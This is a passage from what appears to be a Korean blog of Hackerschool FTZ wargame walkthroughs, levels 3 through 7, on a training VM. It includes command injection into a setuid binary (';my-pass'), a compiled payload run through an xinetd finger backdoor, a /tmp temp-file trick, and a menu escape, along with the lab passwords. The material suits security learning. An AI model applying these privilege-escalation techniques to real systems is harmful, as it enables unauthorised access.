잘 생각해보면 ASCII 범위(0~127)의 값인 것을 알 수 있습니다!


109 -> m

97 -> a

116 -> t

101 -> e


mate 라는 문자열이 나옵니다.

다시 level7 명령어를 사용해서 패스워드에 mate를 입력해보겠습니다.


[level7@ftz level7]$ level7

Insert The Password : mate


Congratulation! next password is "break the world".


성공입니다!! 가즈아아아아아아아아아아아아!



반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL9] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL8] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL6] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL5] 풀이  (2) 2018.02.07
해커스쿨 FTZ [LEVEL4] 풀이  (0) 2018.02.07
반응형


해커스쿨 FTZ [LEVEL6] 풀이


M4ndU




해커스쿨 FTZ [LEVEL6] 풀이입니다.


ID | level6

PW | what the hell


으로 로그인합니다.




login as: level6

level6@192.168.31.128's password:



hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.



로그인을 했더니 쉘은 안뜨고 힌트가 바로 뜬다.

여기서 엔터를 눌렀더니 


  #####################################

  ##                                                         ##

  ##         텔넷 접속 서비스                          ##

  ##                                                         ##

  ##                                                         ##

  ##     1. 하이텔     2. 나우누리                     ##

  ##     3. 천리안                                        ##

  ##                                                         ##

  #####################################


접속하고 싶은 bbs를 선택하세요 :



이런게 뜬다.

1을 누르고 엔터를 눌렀더니 Tring... 만 뜨고 아무일도 일어나지 않는다.

여기서 Ctrl + C 를 눌렀더니 level6의 쉘이 뜬다.


ls -l 로 어떤 파일이 있는가를 확인하고 password 파일을 cat을 통해 확인했다.


접속하고 싶은 bbs를 선택하세요 : 1

Trying 203.245.15.76...

[level6@ftz level6]$ ls -l

total 32

-rw-r--r--    1 root     root           72 Nov 23  2000 hint

-rw-r-----    1 root     level6         36 Mar 24  2000 password

drwxr-xr-x    2 root     level6       4096 May 16  2005 public_html

drwxrwxr-x    2 root     level6       4096 Jan 14  2009 tmp

-rwxr-x---    1 root     level6      14910 Mar  5  2003 tn

[level6@ftz level6]$ cat password

Level7 password is "come together".

[level6@ftz level6]$


가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ




반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL8] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL7] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL5] 풀이  (2) 2018.02.07
해커스쿨 FTZ [LEVEL4] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL3] 풀이  (0) 2018.02.07
반응형


해커스쿨 FTZ [LEVEL5] 풀이


M4ndU




해커스쿨 FTZ [LEVEL5] 풀이입니다.


ID | level5

PW | what is your name?


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인해 봅시다.




login as: level5

level5@192.168.31.128's password:

[level5@ftz level5]$ ls -l

total 12

-rw-r--r--    1 root     root          129 Mar 23  2000 hint

drwxr-xr-x    2 root     level5       4096 Feb 24  2002 public_html

drwxrwx---    2 root     level5       4096 Jan 16  2009 tmp


hint 파일이 있습니다.


cat 명령어를 통해 hint 파일의 내용을 확인해 봅시다.


[level5@ftz level5]$ cat hint

/usr/bin/level5 프로그램은 /tmp 디렉토리에
level5.tmp 라는 이름의 임시파일을 생성한다.

이를 이용하여 level6의 권한을 얻어라.

/usr/bin/level5 프로그램이 /tmp 에 임시 파일을 생성한다고 합니다.
일단 /usr/bin/level5를 실행해 보겠습니다.

[level5@ftz level5]$ /usr/bin/level5

음.. /tmp로 가볼까요?

[level5@ftz bin]$ cd /tmp
[level5@ftz tmp]$ ls -l
total 0음... 아무것도 없네요. 아마 임시파일이라서 생성되었다가 사라지는 것 같습니다.

그럼 직접 /tmp에 level5.tmp라는 파일을 만들어두고 /usr/bin/level5 를 실행하면 level5.tmp에 덮어쓰기가 일어나지 않을까요?
한번 해봅시다.

[level5@ftz tmp]$ cat > level5.tmp
hi
[level5@ftz tmp]$ /usr/bin/level5

cat 명령어로 level5.tmp를 만들고 /usr/bin/level5를 실행했습니다.
그리고 다시 level5.tmp를 cat명령어로 보면?

[level5@ftz tmp]$ cat level5.tmp
next password : what the hell

다음 패스워드가 뜨네요!

가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ



반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL7] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL6] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL4] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL3] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL2] 풀이  (0) 2018.02.07
반응형


해커스쿨 FTZ [LEVEL4] 풀이


M4ndU




해커스쿨 FTZ [LEVEL4] 풀이입니다.


ID | level4

PW | suck my brain


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인해 봅시다.




login as: level4

level4@192.168.31.128's password:

[level4@ftz level4]$ ls -l

total 12

-rw-r--r--    1 root     root           50 Feb 24  2002 hint

drwxr-xr-x    2 root     level4       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level4       4096 Feb  6 22:17 tmp


hint 파일이 있습니다.


cat 명령어를 통해 hint 파일의 내용을 확인해 봅시다.


[level4@ftz level4]$ cat hint



누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!


일단 /etc/xinetd.d/로 이동을 해야겠네요.


[level4@ftz level4]$ cd /etc/xinetd.d/

[level4@ftz xinetd.d]$ ls -l backdoor

-r--r--r--    1 root     level4        171 Sep 10  2011 backdoor


정말 백도어가 있네요.

cat 명령어를 통해 백도어를 봅시다.


[level4@ftz xinetd.d]$ cat ./backdoor

service finger

{

        disable = no

        flags           = REUSE

        socket_type     = stream

        wait            = no

        user            = level5

        server          = /home/level4/tmp/backdoor

        log_on_failure  += USERID

}


finger 서비스로 실행되는 백도어이며,
level5의 권한으로 /home/level4/tmp/backdoor 을 실행시키는 것 같습니다.

해당 경로로 이동해서 확인해 봅시다.

[level4@ftz xinetd.d]$ cd /home/level4/tmp
[level4@ftz tmp]$ ls -l
total 0

아무것도 없네요..
그럼 우리가 직접 my-pass를 실행하는 파일을 만들어야 할 것 같습니다.


[level4@ftz tmp]$ vi backdoor.c

#include <stdio.h>

#include <stdlib.h>


int main(void){

        system("my-pass");

}

~

~


i를 눌러 삽입모드 에서 작성하시고 esc를 눌러 명령모드에서 :wq를 입력하면 저장됩니다.

[level4@ftz tmp]$ gcc -o backdoor backdoor.c

backdoor라는 이름으로 컴파일을 합니다.

이제 finger 서비스를 시작합니다.

[level4@ftz tmp]$ finger @localhost
^[[H^[[J
Level5 Password is "what is your name?".


다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ





반응형

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL6] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL5] 풀이  (2) 2018.02.07
해커스쿨 FTZ [LEVEL3] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL2] 풀이  (0) 2018.02.07
해커스쿨 FTZ [LEVEL1] 풀이  (1) 2018.02.07
반응형


해커스쿨 FTZ [LEVEL3] 풀이


M4ndU




해커스쿨 FTZ [LEVEL3] 풀이입니다.


ID | level3

PW | can you fly?


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인해 봅시다.




level3@192.168.31.128's password:

[level3@ftz level3]$ ls -l

total 12

-rw-r--r--    1 root     root          543 Nov 26  2000 hint

drwxr-xr-x    2 root     level3       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level3       4096 Jan 15  2009 tmp


hint 파일이 있습니다.


cat 명령어를 통해 hint 파일의 내용을 확인해 봅시다.


[level3@ftz level3]$ cat hint



다음 코드는 autodig의 소스이다.


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


int main(int argc, char **argv){


    char cmd[100];


    if( argc!=2 ){

        printf( "Auto Digger Version 0.9\n" );

        printf( "Usage : %s host\n", argv[0] );

        exit(0);

    }


    strcpy( cmd, "dig @" );

    strcat( cmd, argv[1] );

    strcat( cmd, " version.bind chaos txt");


    system( cmd );


}


이를 이용하여 level4의 권한을 얻어라.


more hints.

- 동시에 여러 명령어를 사용하려면?

- 문자열 형태로 명령어를 전달하려면?


소스코드가 나왔네요.


어떤 일을 하는지 봅시다.


int main(int argc, char **argv){


인자값을 받습니다.


strcpy( cmd, "dig @" );

strcat( cmd, argv[1] );

strcat( cmd, " version.bind chaos txt");


cmd = "dig @"+argv[1](우리가 입력한 값)+" version.bind chaos txt"


system( cmd );


cmd의 값을 실행합니다.





find 명령어로 autodig를 찾아봅시다.


[level3@ftz level3]$ find / -user level4 -perm -4300 2>/dev/null

/bin/autodig


있네요!


이제 이동해서 autodig에 줄 인자값을 생각해 봅시다.


아까 hint내용을 더보면 이런게 있다.


- 동시에 여러 명령어를 사용하려면?


세미콜론 ; 를 사용하여 동시에 여러 명령어를 사용할 수 있다.


- 문자열 형태로 명령어를 전달하려면?



큰 따옴표 "" 를 사용하면 된다.

그럼 이 둘을 사용해 패스워드를 알아보자.

[level3@ftz bin]$ ./autodig ";my-pass"
dig: Couldn't find server '': Name or service not known

Level4 Password is "suck my brain".

;my-pass를 넣음으로써 cmd의 값은 dig @;my-pass version.bind chaos txt이 되었고
dig @;가 실행되어 dig: Couldn't find server '': Name or service not known 라는 오류가 떴고,
my-pass가 실행되어 Level4 Password is "suck my brain". 가 출력되었고
version.bind chaos txt는 무시되었다.


바로 다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏ

반응형

+ Recent posts